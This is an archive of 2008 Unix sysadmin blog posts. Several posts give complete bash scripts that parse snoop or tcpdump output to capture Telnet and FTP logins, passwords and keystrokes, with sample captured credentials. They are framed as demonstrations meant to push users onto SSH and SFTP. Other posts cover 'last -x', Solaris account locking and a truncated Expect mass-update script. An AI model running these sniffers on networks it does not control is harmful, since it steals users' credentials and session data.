Showing posts with label login. Show all posts
Showing posts with label login. Show all posts

Monday, July 14, 2008

The Dangers Of Using Cleartext Protocols On The Internet

Hey There,

Today, I'm putting up an updated version of a script we introduced back in April regarding grabbing logins and passwords using Solaris Unix's snoop command (See that link for a more detailed breakdown of how the script works). This version of the script is slightly more user friendly and is made so that it reads directly from the STDOUT of snoop (or, in more practical terms, takes it's STDIN from the STDOUT of the snoop command). To show how easy it is to use, and (of course) to encourage as many people as possible to quit using cleartext protocols, if it can possibly be avoided, we've put a quick demonstration video up on YouTube.com, which you can view below (Apologies for the poor video (The upper right of the screen is intentionally blurred during part of the video on purpose, to protect the guilty ;) It's a lot easier to read if you just go directly to the source):



Hope you enjoy the updated script and have absolutely no way to make use of it ;) Instead, focus your efforts on trying to figure out SSH timing. We're still working on extracting information from SSH. It might be a while... ;)

Enjoy :)


Creative Commons License


This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/bin/bash

#
# telpass - updated snoop login, password and session logger
# usage: snoop port 23.. etc|telpass
#
# 2008 - Mike Golvach - eggi@comcast.net
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#

login_or_pwd=0
interactive_echo=0
sess_info=0
echo "Parsing binary snoop file $snoop_file"
echo "Note: In Session Mode, dots represent packets"
echo "that do not contain alphanumeric data"

while read line
do
echo $line| grep "Last" >/dev/null 2>&1
ll_yes_or_no=$?
if [ $ll_yes_or_no -eq 0 ]
then
echo
login_or_pwd=0
continue
fi
echo $line| grep "login: *$" >/dev/null 2>&1
l_yes_or_no=$?
if [ $l_yes_or_no -eq 0 ]
then
echo
echo "Possible login ID to follow - echo turned off to avoid duplicate characters: "
login_or_pwd=1
sess_info=0
continue
fi
echo $line| grep "Password:" >/dev/null 2>&1
p_yes_or_no=$?
if [ $p_yes_or_no -eq 0 ]
then
echo
echo "Possible password to follow - echo turned on: "
login_or_pwd=2
sess_info=0
continue
fi
if [ $login_or_pwd -eq 1 ]
then
if [ $interactive_echo -eq 1 ]
then
interactive_echo=0
continue
else
echo $line|awk -F" " '{ if ( length($NF) == 1 ) print $NF}'|xargs -ivar echo "var\c"
interactive_echo=1
continue
fi
fi
if [ $login_or_pwd -eq 2 ]
then
echo $line|awk -F" " '{ if ( length($NF) == 1 ) print $NF}'|xargs -ivar echo "var\c"
continue
fi
if [ $login_or_pwd -eq 0 -a $sess_info -eq 0 ]
then
echo
echo "Possible session info to follow - echo turned off to avoid duplicate characters:"
sess_info=1
fi
if [ $sess_info -eq 1 ]
then
if [ $interactive_echo -eq 1 ]
then
interactive_echo=0
continue
else
echo $line|awk -F" " '{ if ( length($NF) == 1 ) print $NF;else print "."}'|xargs -ivar echo "var\c"
interactive_echo=1
continue
fi
fi
done
echo
exit 0

, Mike

Thursday, May 22, 2008

Using Last To Its Full Potential On Linux

Hey There,

This probably comes as no surprise to most Unix or Linux administrators out there (at least this first thing), but I find it's always interesting how rarely the "last" command is used to determine anything other than the users logged in "now" and the "last" time a user logged in.

Granted; the last command doesn't offer too much in the extra-functionality department, but it does have one very useful feature. Normally, if you were to run last, you'd see output like the following:

reboot system boot 2.6.5-7.283-smp Thu Jan 25 18:06 (00:21)
user1 pts/1 host.xyz.com Thu Jan 25 08:03 - down (00:27)
reboot system boot 2.6.5-7.283-smp Thu Jan 25 08:01 (00:29)
user1 pts/1 host.xyz.com Thu Jan 25 07:50 - down (00:06)


But, if you add the "-x" switch to the "last" command, it gives you a lot more detailed information about system run-level changes, which makes it a more accurate way to determine what happened if, and when, your system ever goes down unexpectedly! Here's output from that same swatch of time using "last -x":

runlevel (to lvl 3) 2.6.5-7.283-smp Thu Jan 25 18:06 - 18:28 (00:21)
reboot system boot 2.6.5-7.283-smp Thu Jan 25 18:06 (00:21)
shutdown system down 2.6.5-7.283-smp Thu Jan 25 08:31 - 18:28 (09:56)
runlevel (to lvl 6) 2.6.5-7.283-smp Thu Jan 25 08:31 - 08:31 (00:00)
user1 pts/1 host.xyz.com Thu Jan 25 08:03 - down (00:27)
runlevel (to lvl 3) 2.6.5-7.283-smp Thu Jan 25 08:01 - 08:31 (00:29)
reboot system boot 2.6.5-7.283-smp Thu Jan 25 08:01 (00:29)
shutdown system down 2.6.5-7.283-smp Thu Jan 25 07:57 - 08:31 (00:33)
runlevel (to lvl 6) 2.6.5-7.283-smp Thu Jan 25 07:57 - 07:57 (00:00)
user1 pts/1 host.xyz.com Thu Jan 25 07:50 - down (00:06)


Interestingly enough, the "-x" flag still isn't available in Solaris, even in all the versions of the 10.x strain that I've checked out. There are other methods to get the information, but they are more tedious and require the user, or admin, to do enough work that they may as well script it out (or write a wrapper for "last" that allows for a "-x" flag ;)

Generally, you'll notice that this extra information is assigned to the "user" with the name of your "kernel" revision ( usually the value of "uname -r" or "uname -k." 2.6.5-7.286-smp, in our case) so you can run:

last -x|grep `uname -r`


to restrict your output to this system information and ignore all the user logins/logouts :)

While the information that "last -x" provides may seem extraneous and not generally worthwhile, I'd say that it's exactly the opposite. For instance, in our first, straight-up, last command, we only get the reboot time of (we'll take the last one) January 25th at 8:01 a.m. ( The year is 2008 since we're taking this from the top of the output).

Interestingly enough, again, last does not print the year, although you can get that information if you really want it. For more info on that, check out our previous posts on scripting out user deletion on Unix and the modifications for Linux, which both include Perl routines for tearing open wtmpx so you "can" get the "year" data if you want it :)

With "last -x," for that very same reboot, we know that the reboot command was issued by the system on January 25th at 8:01 a.m. (this helps put into perspective what last, without arguments, is "really" reporting. The "beginning" of the reboot process). We can then see that (and, just as a reminder, we're reading from the bottom of the output up!) the request to switch to "run level 6" (which is "reboot") was actually issued at 7:57 a.m.

The "shutdown" information on the next line is an all-encompassing time. It should always match the entire amount of time spent in all of the states we're looking at. It starts with the switch to "run level 6" at 7:57 a.m. and ends with the switch to "run level 3" (this system's default run level) at 8:31 a.m. Finally, after the "reboot" line, we see the switch to "run level 3" which happens from 8:01 a.m. (the time the "reboot" was called) until 8:31 a.m. (the time the system fully got back to "run level 3").

As you can see, just knowing the "reboot" time doesn't give a very accurate report of the time involved in the reboot, at a glance. We just know that it happened at 8:01 a.m. If we wanted more information, we might need to go look at system logs.

"last -x," however, makes it so that we can, just by reviewing that output, see that the reboot process actually began at 7:57 a.m. and didn't complete until 8:31 a.m. That may not be a long time for this machine (If it is, you'll know to look at the system logs, now :), but the length of time required for a normal reboot is very system-independent and, also, dependant on what sorts of scripts and programs are run on a controlled reboot, etc.

And that's the last I have to say about that ;)

Best wishes,

, Mike

Tuesday, April 29, 2008

Grabbing Telnet Information On Linux Using TcpDump

Hello again,

Today, I thought we'd continue along our "snooping" path and clear the way for a solution that would satisfy more than one Operating System. Snoop, although a fine program in my estimation, isn't available at all except for use on Solaris Unix (If I'm wrong, please let me know :) After yesterday's post on snooping the ftp port and our earlier post on capturing logins and passwords over Telnet with snoop, it seemed like it was about time to get back to Linux.

Linux may not have the "snoop" command, but it hardly matters, since freeware programs like tcpdump, ethereal, snort, etc are all out there and can be compiled on pretty much any system (if your Linux distro doesn't already have a package readily available; which is doubtful ;)

For a more detailed look at the "process" involved in our tcpdump'ing, check out the old post on capturing logins and passwords even though it was for Solaris. The method of achieving the end results is so similar, and it took up so much HTML real-estate to convey, that it would be annoying (to put it mildly) to slap it right in the middle of this post :)

In any event, today we've written a quick bash shell script called "tcptelnet.sh." It takes standard input (STDIN) as its source of input (which can be fairly easily modified) and was made to run in a pipe-chain after a tcpdump command of the format below:

host # tcpdump -l -vvv -x -X port 23 |./tcptelnet.sh <--- Just so you have all the info in one place, the command line arguments listed here are: -l (to make the standard output (STDOUT) line buffered, or easier to read), -vvv (to make the output very very verbose), -x and -X (to print in HEX and ASCII, print out headers and pad packets with null bytes).

The reason the format of the tcpdump command is important is because changing it would change the way tcpdump spewed it's output, and the "tcptelnet.sh" script (much like our other shell scripts with regard to this topic) is a simple parser for the output to make it more readable. For instance, you must be the "root" user (or have equivalent privilege on the host you're running the script from) for this to work. This is not a way to "hack" or "get around" Linux security. This is just a demonstration of how readily available all unsecured information is, even on a secured network.

Following is a sample of the output you should expect. Note that, given tcpdump's output format, and my desire to not repeat the unnecessary complexity of our snoop script, I sacrificed the capital U for the sake of all-around convenience. This is only interesting in that, if you note a dot (.) where you think there should be a character, it's probably a capital U. All of the strings that our command generates show these on the echo-backs and I chose to only parse those, since they get sent with all regular, as well as password, information. You are, of course, welcome to make this shell script better. The nature of network traffic makes it a bit difficult to pin things down to absolutes, I've found ;)

And here's that sample session:

host # tcpdump -l -vvv -x -X port 23 |./tcptelnet.sh
tcpdump: listening on qfe0, link-type EN10MB (Ethernet), capture size 68 bytes

Possible session info to follow:
u.s.e.r.0.0.1..
Possible password to follow:
.listpy..
Possible login ID to follow:
.u.s.e.r.0.0.1..
Possible password to follow:
.sm0k3BomB..
Possible login ID to follow:
.h...m.m.e.r..
Possible password to follow:
.H.MM.S........
Possible login ID to follow:
.u.s.e.r.0.0.1..
Possible password to follow:
.MyS3cr3tP@ssw0rd.

Possible session info to follow:
....l.s...pw.d...e.x.i.t...^C254 packets captured
891 packets received by filter
0 packets dropped by kernel


As I noted above, the capital U gets whacked on some lines due to the output format and the way we process it in the bash script. For instance, the line that reads:

.h...m.m.e.r

was actually typed into the Telnet session as:

hUmmer

Once you note the pattern of input (and have the knowledge that this is the only letter - and only in capital form - that is excluded from our matches), it becomes fairly simple to fill in that small blank.

Hope you enjoy this script and do "good things" with it. Use it for security, not insecurity :)

Cheers,


Creative Commons License


This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/bin/bash

#
# tcptelnet.sh - extract password and session information tcpdump
#
# 2008 - Mike Golvach - eggi@comcast.net
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#

login_or_pwd=0
sess_info=0

while read line
do
echo $line| grep "Last" >/dev/null 2>&1
ll_yes_or_no=$?
if [ $ll_yes_or_no -eq 0 ]
then
echo
login_or_pwd=0
continue
fi
echo $line| grep "gin:" >/dev/null 2>&1
l_yes_or_no=$?
if [ $l_yes_or_no -eq 0 ]
then
echo
echo "Possible login ID to follow: "
login_or_pwd=1
sess_info=0
continue
fi
echo $line| grep "sword" >/dev/null 2>&1
p_yes_or_no=$?
if [ $p_yes_or_no -eq 0 ]
then
echo
echo "Possible password to follow: "
login_or_pwd=1
sess_info=0
continue
fi
if [ $login_or_pwd -eq 1 ]
then
echo $line|awk '{ if ( $NF ~ /UUUUU$/ ) print $NF }'|sed 's/^.*\(.\)UUUUU$/\1/'|sed 's/^U/\./' |xargs -ivar echo "var\c"
continue
fi
if [ $login_or_pwd -eq 0 -a $sess_info -eq 0 ]
then
echo
echo "Possible session info to follow:"
sess_info=1
fi
if [ $sess_info -eq 1 ]
then
echo $line|awk '{ if ( $NF ~ /UUUUU$/ ) print $NF }'|sed 's/^.*\(.\)UUUUU$/\1/'|sed 's/^U/\./' |xargs -ivar echo "var\c"
continue
fi
done
echo
exit 0


, Mike

Monday, April 28, 2008

Snooping The FTP Command Port On Solaris





Check out the video above to see this simple script in action.

Hey There,

Today, we're going to take another look at parsing the output from "snoop" (good to go on Solaris Unix 8 through 10), as we did in our previous post on finding and printing out logins, passwords and other session information over Telnet. Today, we're going to see what we can find by monitoring FTP port 21 (as opposed to FTP data port 20).

Again, a quick note: Today's simple script and demonstration are provided simply to shine a light on a vulnerability that has existed for quite some time, and not as an invitation to illegal activity. I'd like to think that posts, and articles everywhere, on this subject serve as a consistent reminder that, if you really want to try and keep your information secure, you shouldn't use unsecure protocols. For instance, as an alternate to straight-up FTP, programs like SCP and SFTP (Technically a subsystem of SSH, running on port 22) are freely available and would make this method of gaining information impossible.

Hopefully this bash shell script will help out a few sys admins out there. Actually, getting information from FTP port 21 is so simple that the script could actually be written on one succinct command line.

Rather than go into a long convoluted dissection of how the process works (which we beat to death in our post on grabbing passwords with snoop over Telnet), I've attached a small video to this post (see above). If you can, download it and play it in slow motion. The player above should freeeze on the final frame, which is really the shot that shows you how much information you can get by just "listening."

Note, also, that the one big difference between this script and our last script for grabbing passwords using snoop (other than that we're doing it on FTP port 21) is that this script has been written to take standard input (STDIN) rather than read a binary snoop file. So, you'll need to run it like this:

host # snoop -v port 21|./ftppass.sh

You can change the original Telnet script also. All you need to do is comment out this part:

if [ $# -ne 1 ]
then
echo "Usage: $0 snoop_file"
exit 1
fi

snoop_file=$1

if [ ! -f $snoop_file ]
then
echo "Snoop Output $file does not exist. Exiting!"
exit 1
fi


and change this line by removing the "<$snoop_file" reference, so it just says "done":

done <$snoop_file

Just in case you have problems viewing the video above (codecs, no plug-in for your browser, etc), even though I put it up on youtube in hopes that would make it most accessible, I've included another run of output below (same thing, only slightly different and shorter ;):

host # snoop -v port 21|./ftppass.sh
Using device /dev/qfe (promiscuous mode)
220 host FTP server ready.
USER test
331 Password required for test.
PASS binger
530 Login incorrect.
SYST
530 Please login with USER and PASS.
USER test
331 Password required for test.
PASS testing123
230 User test logged in.
PWD
257 "/home/test" is current directory.
QUIT
221-You have transferred 0 bytes in 0 files.
221-Total traffic for this session was 360 bytes in 0 transf


Hopefully this will help you help others see the benefit of using secure FTP whenever possible (even on a "secure" network).

Cheers,


Creative Commons License


This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/bin/bash

#
# ftppass.sh
#
# 2008 - Mike Golvach - eggi@comcast.net
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#

while read line
do
echo $line|awk '{ if ( $1 ~ /FTP:/ && $2 && $2 !~ /^""$/ && $3 !~ /FTP:/ ) print substr($0,index($0,$2)) }'|sed -e 's/^\"\(.*\)\"$/\1/' -e 's/rn$//'
done


, Mike

Wednesday, April 23, 2008

Setting Locked, No-Login and Login Accounts On Solaris 10

Hello again,

Today we're going to look at a feature of Solaris' passwd command that has been around since Solaris 9 ( If you read this and you like the functionality, but are still using Solaris 8, check out this page regarding Sun Bug ID 6227256, which basically states that this functionality will never be back-ported to Solaris 8. I always thought it was strange that they considered this a Solaris 8 "bug" since the extra passwd functionality wasn't introduced until Solaris 9. I would have filed it under "feature-set enhancement," like the /dev/random patch, but I guess that's neither here nor there.

In any event, our post today is going to cover the difference between using the passwd command to lock user accounts, make them no-login (which can also be done if you set the user shell to a "nologin" shell) and, ultimately, reverse the process if necessary. Of course, all of this can be done manually if you like to edit the /etc/shadow file by hand. I'd advise against it. It has the potential to turn out very badly ;) This "added" functionality can also be used to make our script to remove old users network wide (and its Linux counterpart) a little more flexible. Sometimes it's good to have options other than just "locking" an account (or manually setting NP) if you need to keep an account around, but don't want the user logging in anymore.

Generally, if you look in a standard Solaris box's /etc/shadow file, in the password column, you'll either see a regular password entry (encrypted), like "557LIW.RqHi92," a locked password entry, like "*LK*" or a "No Password" password entry, like: NP (The fair equivalent of a no-login password on Solaris 9 and 10).

You can always check what kind of password you have by running:

host # passwd -s
user1 PS


This shows that our logged in account "user1" has a password set (PS). You can look at all users' password settings by running "passwd -sa," but you need to be root to do so. LK will stand for "locked" and "NL" means "no-login."

Now, moving along, there may be plenty of reasons you need to have an account locked and not removed from your system (That's your business. I'll stay out of it ;) The one thing to remember about a "locked" account (*LK* in /etc/shadow) is that it is truly barred from any activity. Not only can the account not login to the machine, it also can't make use of other services like cron, etc. A user account that has "no password" (NP in /etc/shadow) can't login to the machine either, but "can" use system facilities like cron. Changing a user account from "locked" to "no password" can be tremendously advantageous if you can't let the user log in any more, but still need to keep the account around to run nightly jobs, or what have you.

So, let's say we have a user (his login will be "badseed1") that we needed to restrict access to on our Solaris Box. Let's also say that we did it when the box was running Solaris 8, and we did the simplest thing possible and locked up his account by running:

host # passwd -l badseed1

So, now that we've upgraded to Solaris 9 (or 10), we get the following when we check on his account (let's say it turns out we really need his account to be performing some action that it hasn't been performing since we stopped letting him log in. We didn't notice for a really long time. We were busy!!! ;)

host # passwd -s badseed1
badseeed1 LK


And we have confirmation that his password is locked. This is good (in that it makes sense) because we know that "locked" accounts can't use cron. The first thing we're going to do is get his shadow entry up to speed. That is, we're going to leave his account locked, but change the way Solaris handles his entry. In Solaris 8, his password entry in /etc/shadow simply consisted of "*LK*", but we're going to change that to make it like everyone else's (This also makes our previous post on generating encrypted password strings somewhat obsolete, but still entertaining :). It will only take two passwd commands to do this and then we can see the difference:

host # grep badseed1 /etc/shadow
badseed1:*LK*:::::::
host # passwd badseed1
New Password:
Re-enter new Password:
passwd: password successfully changed for badseed1
host # grep badseed1 /etc/shadow
badseed1:Xe0.pVr4gvvh6:::::::
host # passwd -l badseed1
host # grep badseed1 /etc/shadow
badseed1:*LK*Xe0.pVr4gvvh6:::::::


Now, as you see, the user account is still locked but, instead of having just "*LK*" as his or her shadow password entry, the locked password is now simply the regular password with the "*LK*" string prepended to it. This allows us to do the following if we want to "unlock" the password and restore the user to the password they originally had without having to do anything extra!

host # passwd -u badseed1
host # grep badseed1 /etc/shadow
badseed1:Xe0.pVr4gvvh6:::::::


Now, we just have one last thing to do before we can get on with our lives. We need to set up badseed1's account so that it's "no-login." We want badseed1's account to be able to run cron jobs, but we don't want the user to be able to login, so providing the "no-login" shell is a happy medium between the two extremes of absolute availability and complete lockdown. And, again, this can now be done with a single command:

host # passwd -N badseed1
host # grep badseed1 /etc/shadow
badseed1:NP::::::


And we're all set. badseed1 can no longer log into our systems, but his or her cron jobs will run!

Hopefully you'll find some good use for these two very helpful new options to passwd ("-u" and "-N"), as well as the newer locking system used by the standard option "-l" ...ok, the options, as of the time of this writing, aren't technically "new," but they were at one point, and, hopefully, if they aren't new to you, this post has served as an enjoyable refresher :)

Best wishes,

, Mike




Tuesday, April 15, 2008

Capturing Logins And Passwords With Solaris Snoop

Hey There,

Today, we're going to take a look at parsing the output from "snoop" (specifically tested on Solaris Unix 9 and 10, but almost definitely backward compatible to Solaris 8) and printing out logins, passwords and simple session information. We'll try to keep the explanation short today, since the examples are long ;)

As a quick note, since we've received more than a few emails on the subject (requesting illegal services we don't provide): Although today's post, and the attached script, will show you how to do something that (under the correct circumstances) could be illegal, unethical or both, we're only presenting it as a tool to help promote security; much like we've done before in posts regarding encrypted passwords, password cracking and so forth. It is not our intention to encourage malicious behaviour; only to bring focus on security-related issues that have been around for a long time and (for some reason) are still treated as minor nuisances.

Hopefully the bash shell script attached at the bottom will be helpful to a few sys admins out there. If you work on a network that allows users to Telnet (or use rsh or any other form of unencrypted network protocol), you may have been on the losing end of an argument about how the stealing of passwords transmitted in cleartext "never really happens."

For those of you afflicted by the aforementioned condition: Good news! You can make it happen (and do it ethically) today. With any luck, the output our script provides from a simple snoop on the Telnet port will make an impression for the positive and convince those users who (for some reason) don't want to use SSH, to finally make the switch :) Note that in order to run the "snoop" command you must be either root, or have gained elevated privileges through some other manner.

Following is the demonstration of a few simple sessions, and the output you can expect to see from the script. You may see quite a bit more since we had to do this in a limited environment and eventually got sick of logging in and out of the server we were snooping on ;) Since some of these examples are extensive, even though we weeded out tons of output, we've included anchor links so you can hop past any particular step rather than having to scroll down through the example output.

1. On the server accepting Telnet connections, we started up this command to capture all output to a snoop binary file (named "output_file") and only listen to port 23 (Telnet):
Skip to Step 2

host # snoop -o output_file port 23
Using device /dev/qfe (promiscuous mode)
616 ^C
<--- That was the entirety of our snooping process, which is scary in itself.

2. During the time snoop was running on that server, we logged into it multiple times, did a few things, typed our password wrong, logged in again, etc, as seen below (we've clipped a lot of boring warning messages and replaced useless output from our sessions with ellipses (...) - As usual, host names, logins, IP addresses and passwords have been changed to protect the somewhat innocent ;)
Skip to Step 3

host_1 # telnet host
Trying 99.99.99.99...
Connected to host
Escape character is '^]'.
...
SunOS 5.9
...
login: user51
Password:
...
host # ls
file1 file2 file3 file4
file5 file6 file7 file8
host # cd /usr/local
host # pwd
/usr/local
host # exit
logout
...

host_1# telnet host
Trying 99.99.99.99...
Connected to host
Escape character is '^]'.
...
SunOS 5.9
...
login: user51
Password:
...
host # cat .profile
set -o vi
...
host # exit
logout
...
host_1 # telnet host
Trying 99.99.99.99...
Connected to host
Escape character is '^]'.
...
SunOS 5.9
...
login: user51
Password:
Login incorrect
login: user51
Password:
host # ls
file1 file2 file3 file4
file5 file6 file7 file8
host # w
2:03pm up 17 day(s), 2 users, load average: 0.39, 0.18, 0.12
User tty login@ idle JCPU PCPU what
...
host # whodo
Mon Apr 14 20:30 CDT 2008
...
host # exit
logout
...
host_1 # telnet host
Trying 99.99.99.99...
Connected to host
Escape character is '^]'.
...
SunOS 5.9
...
login: user51
Password:
host # id
uid=55787(user51) gid=666(forx)
host # exit
logout


3. Then we read the binary snoop file into an ascii text file using snoop's default settings, ran our script (which we named "telpass" to continue our tradition of blatant unoriginality), and watched the logins and passwords come on out:
Skip to Step 4

host # snoop -i output_file >ascii_net_out 2>&1
host # ./telpass ascii_net_out

Possible session info to follow:
........
Possible login ID to follow:
user51
Possible password to follow:
User51ab

Possible session info to follow:
....ls...c.d../u.sr./l.oca.l...pw.d...ex.it...........
Possible login ID to follow:
user51
Possible password to follow:
User51ab

Possible session info to follow:
...c.at....pr.of.il.e...ex.it...........
Possible login ID to follow:
user51
Possible password to follow:
sm@ckM3
Possible login ID to follow:
user51
Possible password to follow:
User51ab

Possible session info to follow:
....ls...w...wh.od.o...ex.it...........
Possible login ID to follow:
user51
Possible password to follow:
User51ab

Possible session info to follow:
...i.d...exi.t...


4. And, finally we ran snoop with medium-extra verbosity, and pumped that into an ascii text file, as well. This provides a little more information on the user's command line usage, but may just be a waste of time since you don't really get anything extra for your effort:
Skip to the summary

host # snoop -V -i output_file >binger
host # ./telpass binger

Possible session info to follow:
........................................
Possible login ID to follow:
user51
Possible password to follow:
User51ab

Possible session info to follow:
......................l....s...................c.........d............../....u.........s....r........./....l.........o....c....a.........l...................p....w.........d...................e....x.........i....t...........................................................
Possible login ID to follow:
user51
Possible password to follow:
User51ab

Possible session info to follow:
...................c.........a....t........................p....r.........o....f.........i....l.........e...................e....x.........i....t...........................................................
Possible login ID to follow:
user51
Possible password to follow:
sm@ckM3
Possible login ID to follow:
user51
Possible password to follow:
User51ab

Possible session info to follow:
......................l....s...................w...................w....h.........o....d.........o...................e....x.........i....t...........................................................
Possible login ID to follow:
user51
Possible password to follow:
User51ab

Possible session info to follow:
...................i.........d...................e....x....i.........t.................


Summary: And that's about that :) You notice that at one point, we accidentally entered a bad password, but if you're getting this kind of information, you can't complain ;) The script should be fairly simple to decipher. Note that we do skip alternate packets while reading the login entry (because of the double output from interactive echo which doesn't happen with the "invisible" password). We also skipped alternate packets during the sessions ( for the same reason) and padded empty packets (while we were supposedly thinking of what to do next - or where the next typewriter key was ;) with periods (.) In any event, if you're familiar with Unix or Linux, you can see the commands, directories, etc, from between the dots.

Hope this script helps to keep your work (and maybe even home) network more secure. There's nothing like showing someone their password to convince them that it "does really happen."

Please use responsibly, and best wishes :)


Creative Commons License


This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/bin/bash

#
# telpass - extract password and session information from ascii "snoop" output
#
# 2008 - Mike Golvach - eggi@comcast.net
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#

if [ $# -ne 1 ]
then
echo "Usage: $0 snoop_file"
exit 1
fi

snoop_file=$1

if [ ! -f $snoop_file ]
then
echo "Snoop Output $file does not exist. Exiting!"
exit 1
fi

login_or_pwd=0
interactive_echo=0
sess_info=0

while read line
do
echo $line| grep "Last" >/dev/null 2>&1
ll_yes_or_no=$?
if [ $ll_yes_or_no -eq 0 ]
then
echo
login_or_pwd=0
continue
fi
echo $line| grep "login: *$" >/dev/null 2>&1
l_yes_or_no=$?
if [ $l_yes_or_no -eq 0 ]
then
echo
echo "Possible login ID to follow: "
login_or_pwd=1
sess_info=0
continue
fi
echo $line| grep "Password:" >/dev/null 2>&1
p_yes_or_no=$?
if [ $p_yes_or_no -eq 0 ]
then
echo
echo "Possible password to follow: "
login_or_pwd=2
sess_info=0
continue
fi
if [ $login_or_pwd -eq 1 ]
then
if [ $interactive_echo -eq 1 ]
then
interactive_echo=0
continue
else
echo $line|awk -F" " '{ if ( length($NF) == 1 ) print $NF}'|xargs -ivar echo "var\c"
interactive_echo=1
continue
fi
fi
if [ $login_or_pwd -eq 2 ]
then
echo $line|awk -F" " '{ if ( length($NF) == 1 ) print $NF}'|xargs -ivar echo "var\c"
continue
fi
if [ $login_or_pwd -eq 0 -a $sess_info -eq 0 ]
then
echo
echo "Possible session info to follow:"
sess_info=1
fi
if [ $sess_info -eq 1 ]
then
if [ $interactive_echo -eq 1 ]
then
interactive_echo=0
continue
else
echo $line|awk -F" " '{ if ( length($NF) == 1 ) print $NF;else print "."}'|xargs -ivar echo "var\c"
interactive_echo=1
continue
fi
fi
done <$snoop_file
echo
exit 0


, Mike




Monday, March 24, 2008

Doing Network Wide Updates Using Expect

Hey there,

It's been a while since we took a look at Expect on this blog, so I'm throwing a monster out there today ;)

Today's script is a bit long-in-the-tooth, and may be complicated looking, but it's basically a simple script to enable you to do updates across your network all at once; only having to login once (or twice, but all at the same time ;)

I put a small section in the beginning that checks whether or not a user invoking the script is allowed to use it (although this script doesn't allow anyone to do anything that they don't have the privilege or access and knowledge to do already). It's a simple check against an exec of the logname command, to make sure that the user's logname is among the list of lognames allowed to use the script. This whole section can be removed without affecting the script's functionality. Simply delete the section with the header: "Weed out the undesirables pronto" and it'll no longer be an issue.

I also added separate login functions for Solaris, Linux, HP-UX and SCO Unix for variety (Note that you may need to tweak these Expect routines, in case the regular expression matching doesn't suit your flavor). You may not need all of these functions, and you may only need one. In any case, you can either call the script specifically to use it the way in which you desire, or edit it so that it will only run the way you desire. If you call it with the "-h" flag it should give you more help than you could ever possibly want ;)

Ex:
host # ./update.exp -h


Hope you enjoy this and find it useful. Good Times! :)


Creative Commons License


This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/usr/local/bin/expect

#########################################################################
# update.exp - do mass updates across network
# without lifing a finger
#
# 2008 - Mike Golvach - eggi@comcast.net
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#
# Usage: update.exp <-h> <-d>
# [ +host1 +hostn | (+sco &| +sun &| +hp &| +linux) | +all ]
# [ login ] [ passwd | <command> <args> ]
#########################################################################

#########################################################################
# Weed out the undesirables pronto
#########################################################################

set gauntlet [exec logname]
if { [string compare $gauntlet "user1"] != 0 && [string compare $gauntlet "user2"] != 0 && [string compare $gauntlet "user3"] != 0 } {
puts "Sorry, $gauntlet. You may not use update.exp."
exit
}

#########################################################################
# Go for the help short-circuit
#########################################################################

foreach member $argv {
if { $member == "-h" } {
puts "#############################################################################"
puts "USAGE:"
puts " update.exp <-h> <-d>"
puts " \[ +host1 +hostn | (+sco &| +sun &| +hp &| +linux) | +all \]"
puts " \[ login \] \[ passwd | <command> <args> \]"
puts "#############################################################################"
puts "SCO Hosts:"
puts " sco1 sco2 sco3"
puts "SUN Hosts:"
puts " sun1 sun2 sun3"
puts "HP Hosts:"
puts " hp1 hp2 hp3"
puts "LINUX Hosts:"
puts " linux1 linux2 linux3"
puts "#############################################################################"
puts "FLAGS:"
puts " -h: Show this message."
puts " -d: Force extremely verbose output during operation."
puts " +host\[1-n\]: The plus symbol followed by any vaild hostname."
puts " +sco: Process all sco hosts."
puts " +sun: Process all sun hosts."
puts " +hp: Process all hp hosts."
puts " +linux: Process all linux hosts."
puts " +all: Process all hosts."
puts " login: Your own."
puts " passwd: Change password on specified machines."
puts " command: Any architecture-supported command, with optional arguments."
puts "#############################################################################"
puts "A FEW VALID COMMAND LINE EXPRESSIONS:"
puts " update.exp -h"
puts " \(The -h command invalidates all others\)"
puts " update.exp -d *****"
puts " \(The -d command may be used in conjunction with any other\)"
puts " update.exp +host1 +host2 login command args"
puts " \(Multiple hosts may be named on command line\)"
puts " update.exp +host1 +sun login command args"
puts " \(Specific host may be coupled with groups\)"
puts " update.exp +sun +hp login command"
puts " \(Groups may be combined. Args to command are trivial\)"
puts " update.exp +all login passwd"
puts " \(+all obviates any other hosts named, but may be combined for"
puts " a specific purpose\)"
puts "#############################################################################"
exit
}
}

#########################################################################
# Hide the gory details unless they want blood
#########################################################################

if { [llength $argv] == 0 } {
set debug 0
} else {
foreach entrail $argv {
if { $entrail == "-d" } {
set debug 1
break
} else {
set debug 0
}
}
}

if { $debug } {
log_user 1
} else {
log_user 0
}

#########################################################################
# Generic login procs divided by architecture
#########################################################################

proc sun_login {name tprompt login lpass} {
send_user "$name\n"

set timeout 3
set hostname $name
set prompt $tprompt
set qlogin $login
set qpass $lpass

expect "ogin: " {send "$qlogin\r"}
expect "word: " {send "$qpass\r"}
}

proc linux_login {name tprompt login lpass} {
send_user "$name\n"

set timeout 3
set hostname $name
set prompt $tprompt
set qlogin $login
set qpass $lpass

expect "ogin: " {send "$qlogin\r"}
expect "word: " {send "$qpass\r"}
}

proc hp_login {name tprompt login lpass} {
send_user "$name\n"

set timeout 12
set hostname $name
set prompt $tprompt
set qlogin $login
set qpass $lpass

expect "ogin: " {send "$qlogin\r"}
expect "word:" {send "$qpass\r"}
}

proc sco_login {name tprompt login lpass} {
send_user "$name\n"

set timeout 6
set hostname $name
set prompt $tprompt
set qlogin $login
set qpass $lpass

expect "ogin: " {send "$qlogin\r"}
expect "word:" {send "$qpass\r"}
expect -re $tprompt {send "\r"}
}

#########################################################################
# Command and user passwd procs by architecture
#########################################################################

proc sunhp_q {command arglist tprompt debug login lpass} {
set timeout 5
set log $login
set opass $lpass
set argvec $arglist
set commvec $command
set prompt $tprompt
set db $debug

if { $command == "passwd" } {
set username $log
set oldpass $opass
set newpass $argvec

expect -re $prompt {send "$commvec $username\r"}
expect -re "word: ?$" {send "$oldpass\r"}
expect -re "New password: ?$" {send "$newpass\r"}
expect {
